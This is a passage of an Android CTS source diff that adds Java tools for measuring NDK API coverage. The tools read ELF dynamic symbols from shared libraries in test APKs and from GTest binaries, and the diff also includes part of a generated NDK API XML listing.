+      <method abstract="false" deprecated="not deprecated" final="true" name="gzclearerr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="adler32_combine64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateBackInit_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="compress" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzclose_w" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="deflateBound" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="compress2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gztell64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="uncompress" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzoffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="deflateSetDictionary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateCopy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzgetc_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="deflateEnd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBZ" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="crc32_combine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzsetparams" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzungetc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateUndermine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libdl.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="android_dlopen_ext" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__cfi_slowpath_diag" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="dlsym" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBC_N" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="LIBC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="dlerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="dlopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__cfi_shadow_size" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="dlclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBC_OMR1" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__cfi_slowpath" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="dl_iterate_phdr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="dladdr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="dlvsym" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+  </package>
+</api>
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApkNdkApiReport.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApkNdkApiReport.java
new file mode 100644
index 0000000..5882a01
--- /dev/null
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApkNdkApiReport.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.apicoverage;
+
+
+import org.xml.sax.SAXException;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.FilenameFilter;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipFile;
+/**
+ * Class that outputs an XML report of the {@link ApiCoverage} collected. It can be viewed in a
+ * browser when used with the api-coverage.css and api-coverage.xsl files.
+ */
+class ApkNdkApiReport {
+    public static final String FILE_FILTER_EXT = ".apk";
+    public static final String DEFAULT_OUTPUT_FILE_NAME = "./apk-ndk-coverage.txt";
+
+    private static final FilenameFilter SUPPORTED_FILE_NAME_FILTER =
+            new FilenameFilter() {
+                public boolean accept(File dir, String name) {
+                    String fileName = name.toLowerCase();
+                    return fileName.endsWith(FILE_FILTER_EXT);
+                }
+            };
+
+    private static void printUsage() {
+        System.out.println("Usage: ApkNdkApiReport [OPTION]... [APK]...");
+        System.out.println();
+        System.out.println("Generates a report about what Android NDK methods.");
+        System.out.println();
+        System.out.println("Options:");
+        System.out.println("  -o FILE                output file or standard out if not given");
+        System.out.println("  -t PATH                path to the CTS testcases Folder");
+        System.out.println("  -b BITS                64 or 32");
+        System.out.println();
+        System.exit(1);
+    }
+
+    /** Get the argument or print out the usage and exit. */
+    private static String getExpectedArg(String[] args, int index) {
+        if (index < args.length) {
+            return args[index];
+        } else {
+            printUsage();
+            return null; // Never will happen because printUsage will call exit(1)
+        }
+    }
+
+    public static void main(String[] args) throws IOException, SAXException {
+        ApkNdkApiReport apiReport;
+        String testCasePath = "";
+        String bits = "64";
+        String outputFileName = DEFAULT_OUTPUT_FILE_NAME;
+        int numTestModule = 0;
+
+        for (int i = 0; i < args.length; i++) {
+            if (args[i].startsWith("-")) {
+                if ("-o".equals(args[i])) {
+                    outputFileName = getExpectedArg(args, ++i);
+                } else if ("-t".equals(args[i])) {
+                    testCasePath = getExpectedArg(args, ++i);
+                } else if ("-b".equals(args[i])) {
+                    bits = getExpectedArg(args, ++i);
+                } else {
+                    printUsage();
+                }
+            } else {
+                printUsage();
+            }
+        }
+
+        apiReport = parseTestcasesFolder(testCasePath, bits);
+        if (apiReport != null) {
+            for (TestModule tm : apiReport.mTestModules) {
+                tm.getDynSymArr();
+            }
+        } else {
+            printUsage();
+        }
+    }
+
+    private List<TestModule> mTestModules;
+    private String mBits;
+
+    ApkNdkApiReport(List<TestModule> testModules, String bits) {
+        mTestModules = testModules;
+        mBits = bits;
+    }
+
+    public List<TestModule> getTestModules() {
+        return mTestModules;
+    }
+
+    public String getBits() {
+        return mBits;
+    }
+
+    public static ApkNdkApiReport parseTestcasesFolder(String testCasePath, String bits)
+            throws IOException, SAXException {
+        File[] testConfigFiles;
+        List<TestModule> testModules = new ArrayList<TestModule>();
+
+        File file = new File(testCasePath);
+        if (file.isDirectory()) {
+            File[] targetFiles = file.listFiles(SUPPORTED_FILE_NAME_FILTER);
+
+            Map<String, String> env = new HashMap<>();
+            for (File targetFile : targetFiles) {
+                final ZipFile apkFile = new ZipFile(targetFile);
+                System.out.println(targetFile.getName());
+                try {
+                    final Enumeration<? extends ZipEntry> entries = apkFile.entries();
+                    while (entries.hasMoreElements()) {
+                        final ZipEntry entry = entries.nextElement();
+
+                        if (!entry.getName().matches("lib(.*)" + bits + "(.*)so")) {
+                            continue;
+                        }
+
+                        System.out.println(entry.getName());
+
+                        //use entry input stream:
+                        InputStream is = apkFile.getInputStream(entry);
+
+                        File tempFile = File.createTempFile("ApkNdkApiReport", ".so");
+                        tempFile.deleteOnExit();
+                        FileOutputStream fos = new FileOutputStream(tempFile);
+
+                        byte[] bytes = new byte[4096];
+                        int length;
+                        while ((length = is.read(bytes)) >= 0) {
+                            fos.write(bytes, 0, length);
+                        }
+                        is.close();
+                        fos.close();
+
+                        testModules.add(new TestModule(tempFile, targetFile.getName(), "jUnit"));
+                    }
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        } else {
+            return null;
+        }
+        return new ApkNdkApiReport(testModules, bits);
+    }
+}
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
index fb82c95..95eb89f 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
@@ -17,9 +17,9 @@
 package com.android.cts.apicoverage;
 
 import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.ReadElf;
 
 import org.jf.dexlib2.DexFileFactory;
-import org.jf.dexlib2.DexFileFactory.DexFileNotFoundException;
 import org.jf.dexlib2.Opcodes;
 import org.jf.dexlib2.iface.Annotation;
 import org.jf.dexlib2.iface.AnnotationElement;
@@ -43,6 +43,7 @@
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.List;
+import java.util.Locale;
 import java.util.Set;
 
 import javax.xml.transform.TransformerException;
@@ -70,13 +71,17 @@
 
     private static final String CDD_REQUIREMENT_ELEMENT_NAME = "requirement";
 
+    private static final String NDK_PACKAGE_NAME = "ndk";
+
+    private static final String NDK_DUMMY_RETURN_TYPE = "na";
+
     private static void printUsage() {
         System.out.println("Usage: cts-api-coverage [OPTION]... [APK]...");
         System.out.println();
         System.out.println("Generates a report about what Android framework methods are called ");
         System.out.println("from the given APKs.");
         System.out.println();
-        System.out.println("Use the Makefiles rules in CtsTestCoverage.mk to generate the report ");
+        System.out.println("Use the Makefiles rules in CtsCoverage.mk to generate the report ");
         System.out.println("rather than executing this directly. If you still want to run this ");
         System.out.println("directly, then this must be used from the $ANDROID_BUILD_TOP ");
         System.out.println("directory and dexdeps must be built via \"make dexdeps\".");
@@ -86,9 +91,12 @@
         System.out.println("  -f [txt|xml|html]      format of output");
         System.out.println("  -d PATH                path to dexdeps or expected to be in $PATH");
         System.out.println("  -a PATH                path to the API XML file");
+        System.out.println(
+                "  -n PATH                path to the NDK API XML file, which can be updated via ndk-api-report with the ndk target");
         System.out.println("  -p PACKAGENAMEPREFIX   report coverage only for package that start with");
         System.out.println("  -t TITLE               report title");
         System.out.println("  -a API                 the Android API Level");
+        System.out.println("  -b BITS                64 or 32 bits, default 64");
         System.out.println();
         System.exit(1);
     }
@@ -99,10 +107,15 @@
         int format = FORMAT_TXT;
         String dexDeps = "dexDeps";
         String apiXmlPath = "";
+        String napiXmlPath = "";
         PackageFilter packageFilter = new PackageFilter();
         String reportTitle = "CTS API Coverage";
         int apiLevel = Integer.MAX_VALUE;
+        String testCasesFolder = "";
+        String bits = "64";
 
+        List<File> notFoundTestApks = new ArrayList<File>();
+        int numTestApkArgs = 0;
         for (int i = 0; i < args.length; i++) {
             if (args[i].startsWith("-")) {
                 if ("-o".equals(args[i])) {
@@ -122,25 +135,39 @@
                     dexDeps = getExpectedArg(args, ++i);
                 } else if ("-a".equals(args[i])) {
                     apiXmlPath = getExpectedArg(args, ++i);
+                } else if ("-n".equals(args[i])) {
+                    napiXmlPath = getExpectedArg(args, ++i);
                 } else if ("-p".equals(args[i])) {
                     packageFilter.addPrefixToFilter(getExpectedArg(args, ++i));
                 } else if ("-t".equals(args[i])) {
                     reportTitle = getExpectedArg(args, ++i);
                 } else if ("-a".equals(args[i])) {
                     apiLevel = Integer.parseInt(getExpectedArg(args, ++i));
+                } else if ("-b".equals(args[i])) {
+                    bits = getExpectedArg(args, ++i);
                 } else {
                     printUsage();
                 }
             } else {
                 File file = new File(args[i]);
+                numTestApkArgs++;
                 if (file.isDirectory()) {
                     testApks.addAll(Arrays.asList(file.listFiles(SUPPORTED_FILE_NAME_FILTER)));
-                } else {
+                    testCasesFolder = args[i];
+                } else if (file.isFile()) {
                     testApks.add(file);
+                } else {
+                    notFoundTestApks.add(file);
                 }
             }
         }
 
+        if (!notFoundTestApks.isEmpty()) {
+            String msg = String.format(Locale.US, "%d/%d testApks not found: %s",
+                    notFoundTestApks.size(), numTestApkArgs, notFoundTestApks);
+            throw new IllegalArgumentException(msg);
+        }
+
         /*
          * 1. Create an ApiCoverage object that is a tree of Java objects representing the API
          *    in current.xml. The object will have no information about the coverage for each
@@ -154,6 +181,20 @@
 
         ApiCoverage apiCoverage = getEmptyApiCoverage(apiXmlPath);
         CddCoverage cddCoverage = getEmptyCddCoverage();
+
+        if (!napiXmlPath.equals("")) {
+            System.out.println("napiXmlPath: " + napiXmlPath);
+            ApiCoverage napiCoverage = getEmptyApiCoverage(napiXmlPath);
+            ApiPackage napiPackage = napiCoverage.getPackage(NDK_PACKAGE_NAME);
+            System.out.println(
+                    String.format(
+                            "%s, NDK Methods = %d, MemberSize = %d",
+                            napiXmlPath,
+                            napiPackage.getTotalMethods(),
+                            napiPackage.getMemberSize()));
+            apiCoverage.addPackage(napiPackage);
+        }
+
         // Add superclass information into api coverage.
         apiCoverage.resolveSuperClasses();
         for (File testApk : testApks) {
@@ -161,6 +202,22 @@
             addCddCoverage(cddCoverage, testApk, apiLevel);
         }
 
+        try {
+            // Add coverage for GTest modules
+            addGTestNdkApiCoverage(apiCoverage, testCasesFolder, bits);
+        } catch (Exception e) {
+            System.out.println("warning: addGTestNdkApiCoverage failed to add to apiCoverage:");
+            e.printStackTrace();
+        }
+
+        try {
+            // Add coverage for APK with Share Objects
+            addNdkApiCoverage(apiCoverage, testCasesFolder, bits);
+        } catch (Exception e) {
+            System.out.println("warning: addNdkApiCoverage failed to add to apiCoverage:");
+            e.printStackTrace();
+        }
+
         outputCoverageReport(apiCoverage, cddCoverage, testApks, outputFile,
             format, packageFilter, reportTitle);
     }
@@ -228,6 +285,103 @@
         }
     }
 
+    /**
+     * Adds coverage information from native code symbol array to the {@link ApiCoverage} object.
+     *
+     * @param apiPackage object to which the coverage statistics will be added to
+     * @param symArr containing native code symbols
+     * @param testModules containing a list of TestModule
+     * @param moduleName test module name
+     */
+    private static void addNdkSymArrToApiCoverage(
+            ApiCoverage apiCoverage, List<TestModule> testModules)
+            throws SAXException, IOException {
+
+        final List<String> parameterTypes = new ArrayList<String>();
+        final ApiPackage apiPackage = apiCoverage.getPackage(NDK_PACKAGE_NAME);
+
+        if (apiPackage != null) {
+            for (TestModule tm : testModules) {
+                final String moduleName = tm.getModuleName();
+                final ReadElf.Symbol[] symArr = tm.getDynSymArr();
+                if (symArr != null) {
+                    for (ReadElf.Symbol sym : symArr) {
+                        if (sym.isGlobalUnd()) {
+                            String className = sym.getExternalLibFileName();
+                            ApiClass apiClass = apiPackage.getClass(className);
+                            if (apiClass != null) {
+                                apiClass.markMethodCovered(
+                                        sym.name,
+                                        parameterTypes,
+                                        NDK_DUMMY_RETURN_TYPE,
+                                        moduleName);
+                            } else {
+                                System.err.println(
+                                        String.format(
+                                                "warning: addNdkApiCoverage failed to getClass: %s",
+                                                className));
+                            }
+                        }
+                    }
+                } else {
+                    System.err.println(
+                            String.format(
+                                    "warning: addNdkSymbolArrToApiCoverage failed to getSymArr: %s",
+                                    moduleName));
+                }
+            }
+        } else {
+            System.err.println(
+                    String.format(
+                            "warning: addNdkApiCoverage failed to getPackage: %s",
+                            NDK_PACKAGE_NAME));
+        }
+    }
+
+    /**
+     * Adds coverage information gleamed from readelf on so in the APK to the {@link ApiCoverage}
+     * object.
+     *
+     * @param apiCoverage object to which the coverage statistics will be added to
+     * @param testCasesFolder containing GTest modules
+     * @param bits 64 or 32 bits of executiable
+     */
+    private static void addNdkApiCoverage(
+            ApiCoverage apiCoverage, String testCasesFolder, String bits)
+            throws SAXException, IOException {
+        ApkNdkApiReport apiReport = ApkNdkApiReport.parseTestcasesFolder(testCasesFolder, bits);
+        if (apiReport != null) {
+            addNdkSymArrToApiCoverage(apiCoverage, apiReport.getTestModules());
+        } else {
+            System.err.println(
+                    String.format(
+                            "warning: addNdkApiCoverage failed to get GTestApiReport from: %s @ %s bits",
+                            testCasesFolder, bits));
+        }
+    }
+
+    /**
+     * Adds GTest coverage information gleamed from running ReadElf on the executiable to the {@link
+     * ApiCoverage} object.
+     *
+     * @param apiCoverage object to which the coverage statistics will be added to
+     * @param testCasesFolder containing GTest modules
+     * @param bits 64 or 32 bits of executiable
+     */
+    private static void addGTestNdkApiCoverage(
+            ApiCoverage apiCoverage, String testCasesFolder, String bits)
+            throws SAXException, IOException {
+        GTestApiReport apiReport = GTestApiReport.parseTestcasesFolder(testCasesFolder, bits);
+        if (apiReport != null) {
+            addNdkSymArrToApiCoverage(apiCoverage, apiReport.getTestModules());
+        } else {
+            System.err.println(
+                    String.format(
+                            "warning: addGTestNdkApiCoverage failed to get GTestApiReport from: %s @ %s bits",
+                            testCasesFolder, bits));
+        }
+    }
+
     private static void addCddCoverage(CddCoverage cddCoverage, File testSource, int api)
             throws IOException {
 
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/GTestApiReport.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/GTestApiReport.java
new file mode 100644
index 0000000..a1a6923
--- /dev/null
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/GTestApiReport.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.apicoverage;
+
+
+import org.xml.sax.InputSource;
+import org.xml.sax.SAXException;
+import org.xml.sax.XMLReader;
+import org.xml.sax.helpers.XMLReaderFactory;
+
+import java.io.File;
+import java.io.FileReader;
+import java.io.FilenameFilter;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+/**
+ * Class that outputs an XML report of the {@link ApiCoverage} collected. It can be viewed in a
+ * browser when used with the api-coverage.css and api-coverage.xsl files.
+ */
+class GTestApiReport {
+    public static final String CONFIG_EXT = ".config";
+    public static final String DEFAULT_OUTPUT_FILE_NAME = "./gtest-coverage.txt";
+    public static final String TEST_TYPE = "com.android.tradefed.testtype.GTest";
+
+    private static final FilenameFilter SUPPORTED_FILE_NAME_FILTER =
+            new FilenameFilter() {
+                public boolean accept(File dir, String name) {
+                    String fileName = name.toLowerCase();
+                    return fileName.endsWith(CONFIG_EXT);
+                }
+            };
+
+    private static void printUsage() {
+        System.out.println("Usage: GTestApiXmlReport [OPTION]... [APK]...");
+        System.out.println();
+        System.out.println("Generates a report about what Android NDK methods.");
+        System.out.println();
+        System.out.println("Options:");
+        System.out.println("  -o FILE                output file or standard out if not given");
+        System.out.println("  -t PATH                path to the CTS testcases Folder");
+        System.out.println("  -b BITS                64 or 32");
+        System.out.println();
+        System.exit(1);
+    }
+
+    /** Get the argument or print out the usage and exit. */
+    private static String getExpectedArg(String[] args, int index) {
+        if (index < args.length) {
+            return args[index];
+        } else {
+            printUsage();
+            return null; // Never will happen because printUsage will call exit(1)
+        }
+    }
+
+    public static void main(String[] args) throws IOException, SAXException {
+        GTestApiReport apiReport;
+        String testCasePath = "";
+        String bits = "64";
+        String outputFileName = DEFAULT_OUTPUT_FILE_NAME;
+        int numTestModule = 0;
+
+        for (int i = 0; i < args.length; i++) {
+            if (args[i].startsWith("-")) {
+                if ("-o".equals(args[i])) {
+                    outputFileName = getExpectedArg(args, ++i);
+                } else if ("-t".equals(args[i])) {
+                    testCasePath = getExpectedArg(args, ++i);
+                } else if ("-b".equals(args[i])) {
+                    bits = getExpectedArg(args, ++i);
+                } else {
+                    printUsage();
+                }
+            } else {
+                printUsage();
+            }
+        }
+
+        apiReport = parseTestcasesFolder(testCasePath, bits);
+        if (apiReport != null) {
+            for (TestModule tm : apiReport.mTestModules) {
+                tm.getDynSymArr();
+            }
+        } else {
+            printUsage();
+        }
+    }
+
+    private List<TestModule> mTestModules;
+    private String mBits;
+
+    GTestApiReport(List<TestModule> testModules, String bits) {
+        mTestModules = testModules;
+        mBits = bits;
+    }
+
+    public List<TestModule> getTestModules() {
+        return mTestModules;
+    }
+
+    public String getBits() {
+        return mBits;
+    }
+
+    public static GTestApiReport parseTestcasesFolder(String testCasePath, String bits)
+            throws IOException, SAXException {
+        File[] testConfigFiles;
+        List<TestModule> testModules = new ArrayList<TestModule>();
+
+        File file = new File(testCasePath);
+        if (file.isDirectory()) {
+            testConfigFiles = file.listFiles(SUPPORTED_FILE_NAME_FILTER);
+
+            for (File testConfigFile : testConfigFiles) {
+                XMLReader xmlReader = XMLReaderFactory.createXMLReader();
+                TestModuleConfigHandler testModuleXmlHandler = new TestModuleConfigHandler();
+                xmlReader.setContentHandler(testModuleXmlHandler);
+                FileReader fileReader = null;
+
+                try {
+                    fileReader = new FileReader(testConfigFile);
+                    xmlReader.parse(new InputSource(fileReader));
+                    if (TEST_TYPE.equalsIgnoreCase(testModuleXmlHandler.getTestClassName())) {
+                        File gTestExe =
+                                new File(
+                                        testCasePath
+                                                + "/"
+                                                + testModuleXmlHandler.getModuleName()
+                                                + bits);
+
+                        System.out.println(gTestExe.getName());
+                        System.out.println(
+                                String.format(
+                                        "%s: %s, %s",
+                                        testConfigFile.getName(),
+                                        testModuleXmlHandler.getModuleName(),
+                                        testModuleXmlHandler.getTestClassName()));
+
+                        testModules.add(
+                                new TestModule(
+                                        gTestExe,
+                                        testModuleXmlHandler.getModuleName(),
+                                        testModuleXmlHandler.getTestClassName()));
+                    }
+
+                } finally {
+                    if (fileReader != null) {
+                        fileReader.close();
+                    }
+                }
+            }
+        } else {
+            return null;
+        }
+        return new GTestApiReport(testModules, bits);
+    }
+}
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/NdkApiXmlReport.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/NdkApiXmlReport.java
new file mode 100644
index 0000000..810d619
--- /dev/null
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/NdkApiXmlReport.java
@@ -0,0 +1,335 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.apicoverage;
+
+import com.android.compatibility.common.util.ReadElf;
+
+import org.w3c.dom.Attr;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+import org.w3c.dom.Node;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.FilenameFilter;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import javax.xml.parsers.ParserConfigurationException;
+import javax.xml.transform.OutputKeys;
+import javax.xml.transform.Transformer;
+import javax.xml.transform.TransformerException;
+import javax.xml.transform.TransformerFactory;
+import javax.xml.transform.dom.DOMSource;
+import javax.xml.transform.stream.StreamResult;
+/**
+ * Class that outputs an XML report of the {@link ApiCoverage} collected. It can be viewed in a
+ * browser when used with the api-coverage.css and api-coverage.xsl files.
+ */
+class NdkApiXmlReport {
+    private static final String API_TAG = "api";
+    private static final String PACKAGE_TAG = "package";
+    private static final String CLASS_TAG = "class";
+    private static final String METHOD_TAG = "method";
+    private static final String FIELD_TAG = "field";
+    private static final String ATTRIBUTE_NAME = "name";
+    private static final String NDK_PACKAGE_NAME = "ndk";
+    private static final String NDK_DUMMY_RETURN_TYPE = "na";
+
+    private static final Map<String, String> sInternalSymMap;
+    static {
+        sInternalSymMap = new HashMap<String, String>();
+        sInternalSymMap.put("__bss_start", "bss");
+        sInternalSymMap.put("_end", "initialized data");
+        sInternalSymMap.put("_edata", "uninitialized data");
+    }
+
+    private static final FilenameFilter SUPPORTED_FILE_NAME_FILTER =
+            new FilenameFilter() {
+                public boolean accept(File dir, String name) {
+                    String fileName = name.toLowerCase();
+                    return fileName.endsWith(".so");
+                }
+            };
+
+    private static void printUsage() {
+        System.out.println("Usage: ndk-api-xml-report [OPTION]... [APK]...");
+        System.out.println();
+        System.out.println("Generates a report about what Android NDK methods.");
+        System.out.println();
+        System.out.println("this must be used from the $ANDROID_BUILD_TOP");
+        System.out.println("make cts-test-coverage");
+        System.out.println("unzip the target ndk_platform.tar.bz2 to a folder.");
+        System.out.println(
+                "$ANDROID_HOST_OUT/bin/ndk-api-report "
+                        + "-o $ANDROID_BUILD_TOP/cts/tools/cts-api-coverage/etc/ndk-api.xml "
+                        + "-n <ndk-folder>/platforms/android-current/arch-arm64/usr/lib");
+        System.out.println();
+        System.out.println("Options:");
+        System.out.println("  -o FILE                output file or standard out if not given");
+        System.out.println("  -n PATH                path to the NDK Lib Folder");
+        System.out.println();
+        System.exit(1);
+    }
+
+    /** Get the argument or print out the usage and exit. */
+    private static String getExpectedArg(String[] args, int index) {
+        if (index < args.length) {
+            return args[index];
+        } else {
+            printUsage();
+            return null; // Never will happen because printUsage will call exit(1)
+        }
+    }
+
+    public static void main(String[] args) throws IOException {
+        List<File> ndkSos = new ArrayList<File>();
+        int numNdkSos = 0;
+        String ndkLibPath = "";
+        String outputFilePath = "./ndk-api.xml";
+
+        for (int i = 0; i < args.length; i++) {
+            if (args[i].startsWith("-")) {
+                if ("-o".equals(args[i])) {
+                    outputFilePath = getExpectedArg(args, ++i);
+                } else if ("-n".equals(args[i])) {
+                    ndkLibPath = getExpectedArg(args, ++i);
+                    File file = new File(ndkLibPath);
+                    if (file.isDirectory()) {
+                        ndkSos.addAll(Arrays.asList(file.listFiles(SUPPORTED_FILE_NAME_FILTER)));
+                    } else {
+                        printUsage();
+                    }
+                } else {
+                    printUsage();
+                }
+            } else {
+                printUsage();
+            }
+        }
+
+        Document dom;
+        // instance of a DocumentBuilderFactory
+        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+        try {
+            // use factory to get an instance of document builder
+            DocumentBuilder db = dbf.newDocumentBuilder();
+            // create instance of DOM
+            dom = db.newDocument();
+
+            // create the root element
+            Element apiEle = dom.createElement(API_TAG);
+            Element pkgEle = dom.createElement(PACKAGE_TAG);
+            setAttribute(dom, pkgEle, ATTRIBUTE_NAME, NDK_PACKAGE_NAME);
+            apiEle.appendChild(pkgEle);
+            dom.appendChild(apiEle);
+
+            for (File ndkSo : ndkSos) {
+                ReadElf re = ReadElf.read(ndkSo);
+                re.getDynamicSymbol("");
+                ReadElf.Symbol[] symArr = re.getDynSymArr();
+                System.out.println(ndkSo.getName());
+                Element classEle = addToDom(dom, pkgEle, symArr, ndkSo.getName().toLowerCase());
+                pkgEle.appendChild(classEle);
+            }
+
+            try {
+                Transformer tr = TransformerFactory.newInstance().newTransformer();
+                // enable indent in result file
+                tr.setOutputProperty(OutputKeys.INDENT, "yes");
+                tr.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "2");
+
+                // send DOM to file
+                tr.transform(
+                        new DOMSource(dom), new StreamResult(new FileOutputStream(outputFilePath)));
+
+            } catch (TransformerException te) {
+                System.out.println(te.getMessage());
+            } catch (IOException ioe) {
+                System.out.println(ioe.getMessage());
+            }
+        } catch (ParserConfigurationException pce) {
+            System.out.println("UsersXML: Error trying to instantiate DocumentBuilder " + pce);
+        }
+    }
+
+    public static Element addToDom(
+            Document dom, Element pkgEle, ReadElf.Symbol[] symArr, String libName) {
+        Element classEle = createClassEle(dom, libName);
+        for (int i = 0; i < symArr.length; i++) {
+            if (symArr[i].isExtern()) {
+                Element methodEle;
+                if(isInternalSymbol(symArr[i])) {
+                    continue;
+                }
+
+                if (symArr[i].type == ReadElf.Symbol.STT_OBJECT) {
+                    methodEle = createFieldEle(dom, symArr[i].name);
+                } else {
+                    methodEle = createMethodEle(dom, symArr[i].name);
+                }
+
+                System.out.println(symArr[i].name);
+                classEle.appendChild(methodEle);
+            }
+        }
+        return classEle;
+    }
+
